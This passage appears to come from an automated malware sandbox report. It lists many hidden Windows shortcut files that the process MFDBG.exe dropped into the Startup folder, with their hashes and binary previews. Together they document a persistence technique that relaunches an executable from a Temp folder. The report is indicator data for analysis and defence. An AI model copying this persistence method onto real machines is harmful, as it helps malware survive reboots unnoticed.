File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:17 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921966156672743
Encrypted:	false
SSDEEP:	24:83Bfy8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8R3EvZ0yRO7DLO2zdxdRd1kyg
MD5:	F1B40B8FB4E6D93C484D1D3BA38E7C33
SHA1:	6E9204AFBD9136612B0DC4C47DFA0B49A64884D2
SHA-256:	455A474895F018DD591911DCCEE2509FCCA68E48902786D984AF9DDEB8EF85A1
SHA-512:	FD29A2EB88571690355AD58FE52A23DF6E509F97CBBAB8BC5D3DA2F70C18F606323A8D24ADE9A9737272B1E62B9A57ECDE70811ACD087CD29F800976D97E8EA2
Malicious:	false
Preview:	L..................F....".......d....:.'d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...F..'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f73f49d756444958a0c2e3b05c5adcb8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:51 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.926743084742576
Encrypted:	false
SSDEEP:	24:8ZBf28EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8DzEvZ0yRO7DLO2zdxdRd1kyg
MD5:	C7D8146A4A6D8B585F91562515BE57E8
SHA1:	91F02C3593AC2454320EB75F5A261FD878CDFCFE
SHA-256:	3683C70F915A0DFA74CFAC16A79DF9C52693D41E8BC76B288015F57274048238
SHA-512:	E6806D223CC9C18AACAC7848BB32A27B7E9C7DA4FFD33D9F4BCA37BE92C1479B66B74ED6157C6521AFABFC42FAD1D3DFCDF2220767CF1FD686B5760415DE4F4E
Malicious:	false
Preview:	L..................F....".......d......_d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....._d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7606c9129f84452a028d4a1dab81333.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:04:04 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9218185434577295
Encrypted:	false
SSDEEP:	24:8mBBfEf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:82BEvZ0yRO7DLO2zdxdRd1kyg
MD5:	31E8E21E353C72EC64611D0CF2926062
SHA1:	845D68B0C63994B7D07ABDEF113237FFBFFF3B89
SHA-256:	D2CA25AC75D7E056E76BDA10206CAF1B7832E080FC29C8EAEB5D575DE6876E3D
SHA-512:	DA5F31E2D761F5FC4772E1D02D081E4D79A25C2E122129D21C926076B95415A5FAAAB0D1F4882B73283EDDE29ECA176212C7D64B686811CAE5AFE81F39C58C40
Malicious:	false
Preview:	L..................F....".......d...~RW.d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....F.d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f7b95cb2ff3b4ba4877b5bd6a7ebb25a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:16 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.920763230160327
Encrypted:	false
SSDEEP:	24:8U3Bfm8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:88zEvZ0yRO7DLO2zdxdRd1kyg
MD5:	063BBBC3271F60C40132844831BCF077
SHA1:	A822342B026B26E26E56975442F7AE8E68EF9E3C
SHA-256:	549A619C74A40EDFB861AF40810151A55B560A03FB615C3DD7F608788DE3A129
SHA-512:	341237812C1217AF15A0022CA7636293604449A19603945BC705C44B0325A84EDAF7A2BD061DD066CA2275B1649E5B50EEFB275E1D8465E3FFB242CA7385C3EA
Malicious:	false
Preview:	L..................F....".......d....S9'd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......'d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f83cbde460654376a3bb9f2e9c761d0b.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:44 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.925783829006842
Encrypted:	false
SSDEEP:	24:8HBfHf8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8hcEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0DAF3B6625C24CE0C43BC68D1C4E27BC
SHA1:	93F969C90B50DCA459D063B5A37D705DEBB4C48A
SHA-256:	921EFDB98FCC4639E338075324B941A35999EE82EDB793D923F74E46B26DC578
SHA-512:	6A29F62C115EF58CBCF84CDF6A6A2DF50074F49C68EAFA1905EFA4728E53BAAE05B2221517F73F92B480284F6ADFE0B341A5B8B389CF3B7CAA64D56948DF379A
Malicious:	false
Preview:	L..................F....".......d...>p.[d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......[d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f848fac784324d4880abcc8eb94271ca.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:46 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.914117746282721
Encrypted:	false
SSDEEP:	24:8jBfx8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8leEvZ0yRO7DLO2zdxdRd1kyg
MD5:	95B24396DEABD4AB2299B3CCA8C91121
SHA1:	F1946777FD474F268664F8BB49513A4410D58CEE
SHA-256:	9FED103963CF8DEEADD903F17B3A133560B7C4A2F1C02502FC58E4F1E188647D
SHA-512:	2261B21372BBA0617B6D7B0D976B86487AB77400E27D4FFEAC6720F13B3373B46B29AC999043CEE3A59B156A1F04E5759651A0745426CE6E7D3A25923008F865
Malicious:	false
Preview:	L..................F....".......d....X.9d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c......9d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f8e4a9e0c7d448d4a30c939144e4bd95.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:55 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921623762605961
Encrypted:	false
SSDEEP:	24:8PnQBfAP8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8Pe9EvZ0yRO7DLO2zdxdRd1kyg
MD5:	6D1E0736A26561EAE1A5681FF65C5735
SHA1:	C9C7617D97C57CAF3411072C3EDACD9F208A1161
SHA-256:	BB827FF7DFF3EAD8A39FD45A5C6D5334F65225067AD2802CEBA1D524BD3B4BB5
SHA-512:	6EAC5441950E21AA2553DD0826E60AE0C7DD2A939A7E1727ACAC2AF7B2A32D0A8371334C8825D3B5682FC1311199A5DC18F68247CC890F881E7F1D93AFEBFE91
Malicious:	false
Preview:	L..................F....".......d...^l">d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f96d637d4bc843979aac47a3b61511bf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:49 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921090052958854
Encrypted:	false
SSDEEP:	24:8jBfY8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8lFEvZ0yRO7DLO2zdxdRd1kyg
MD5:	0F9D14B9DAE8007092CF0853F225ED5C
SHA1:	20B5CF393F597D245258279CF1653516A5DCCC27
SHA-256:	45CA5A0504A8755F30E9C19174671EC007962203AB09F9AE75EF30A53C45680A
SHA-512:	1217F25AD2B92F5B5A847DC562CA3F56843E8BE46C01E6795809BD8DCCD501959801712D24F4AE073D45C569B18A902F6B3D0FF6153E966C0EB3E994F17FA50C
Malicious:	false
Preview:	L..................F....".......d...*..:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....a:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f97352d57f2749548c9d59bcd095d57a.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:48 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.917108109439009
Encrypted:	false
SSDEEP:	24:85BfRo8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8jjEvZ0yRO7DLO2zdxdRd1kyg
MD5:	7471A67D7EDE5FD61659001C7001CF62
SHA1:	E4052D7E58236CFDBC6EBE59F388048DF4B4FCAB
SHA-256:	81143258B72364F6993407CA62F3B8C2C2B4C40EAE155EE4F2E74E8C0D7902A9
SHA-512:	21DC5373B00ECE60DD0491D15EEC70FF84FE74B3116D796F204299413BEBA2C815CA02E1A566C75C6295C562E956BE4C144EC0911D1AB2593AEA746E621691EB
Malicious:	false
Preview:	L..................F....".......d...T#L:d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c....$-:d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f9a17241f81844c2b6bc08a999572bf0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9231105269836215
Encrypted:	false
SSDEEP:	24:8WBfMMQ8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8cUEEvZ0yRO7DLO2zdxdRd1kyg
MD5:	E573AE0E392639D87EA17BDA49FD5DC7
SHA1:	42CE099CE5D9CF2DDCCDA6533434AA94D53F0D81
SHA-256:	59DCC38885C5B73B5106C618BB256B1786366AE0290F1E554EF6CE73259B562E
SHA-512:	3ED329A8C9DEC57F95EB11539419E5DC0624CCE4EE862FE21E1F40CC985B6B593F9A6163A9D1EFAD279A65A7E19540C9501015903759301D84E70A323065C29E
Malicious:	false
Preview:	L..................F....".......d.....{=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...g`t=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_f9cf4079652f4131869cdd7b3a29268d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:03:41 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.921692341543588
Encrypted:	false
SSDEEP:	24:8FBf/8EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8H8EvZ0yRO7DLO2zdxdRd1kyg
MD5:	2DDFD3B7FF5A3D7B0A21AF2E47293D45
SHA1:	FCBD466AE813E71EBAE04BE665A684C17B1C0123
SHA-256:	18EB7488578E19973CF3DBDDB40F9D1875F6F76518362FB39E805DF69AA0C605
SHA-512:	39A186D7D570008E1131B38D8C381F7E1F7A4C00997F1C6EE5F092E256E837BBC33E3D84CEAA39DD839596781B9F0F72DA455B3A699E340584E7182EE4D02F24
Malicious:	false
Preview:	L..................F....".......d.....v}d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....v}d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa155e2f569941bca27ab1500bfa54cf.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:02:27 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.923525917822396
Encrypted:	false
SSDEEP:	24:8IBfs48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8G09EvZ0yRO7DLO2zdxdRd1kyg
MD5:	DDF6E83EA5BC43CE000686BAA671B131
SHA1:	E783C5D24B3F3D3321A4BD34FDA6542FA4F181A9
SHA-256:	A59028C6A24D16F50708482C828EFD4FFD8E20B7509F52A3F7178AA9BF74BCA5
SHA-512:	C94CEB942D2F43E1532EA2CB216F40AD9B399512C32037EEC5C3E7ADF86B4F62FBE6094E918E72303D7510EDE57F79E1AFEEBEE450E0ABF569A6098C66FF238C
Malicious:	false
Preview:	L..................F....".......d....L.Qd.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c.....\|Qd.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_fa776a2791fc4846873264390dcfba92.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 15:01:00 2024, mtime=Wed Sep 25 15:01:54 2024, atime=Wed Sep 25 15:01:00 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.919726338587723
Encrypted:	false
SSDEEP:	24:8NqBf48EvT9peyRngK2FRRhW0O2RaRAqiVDi0RTp1A6ZL/qygm:8NolEvZ0yRO7DLO2zdxdRd1kyg
MD5:	EAD7A43170E615BDD4FCE1676186C035
SHA1:	2C5FE1D62FC916A1AD69EAB48F1CA94CEB64BFB7
SHA-256:	13096BD3058B68915883556EC749397FF3D507C585C700F986723C24F5A07D17
SHA-512:	0F8524A4D386E317C57812B8FB6AB41C1DF8295C62667DD52DF580EC3E0F002965A5115496886ECCCCD19BE65584AAA1FD2E8D55D80FC883D50B83C18A314E40
Malicious:	false
Preview:	L..................F....".......d...0..=d.....j.d....f........................:..DG..Yr?.D..U..k0.&...&...... M......`2.c...1.=d.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y\|.....B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Yz...Local.<......DWSl9Y\|.....V.....................8..L.o.c.a.l.....N.1.....9Y!...Temp..:......DWSl9Y!.....\.....................M...T.e.m.p.....V.1.....9Y!...Malewmf.@......9Y!.9Y!.....8....................."..M.a.l.e.w.m.f.....\.2..f..9Y!.".MFDBG.exe.D......9Y!.9Y!.....v.........................M.F.D.B.G...e.x.e.......c...............-.......b....................C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......266904...........hT..CrF.f4... .V.2=.b...,...W..hT..CrF.f4... .V.2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_faeb202816184438b3c28ac535b4f680.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
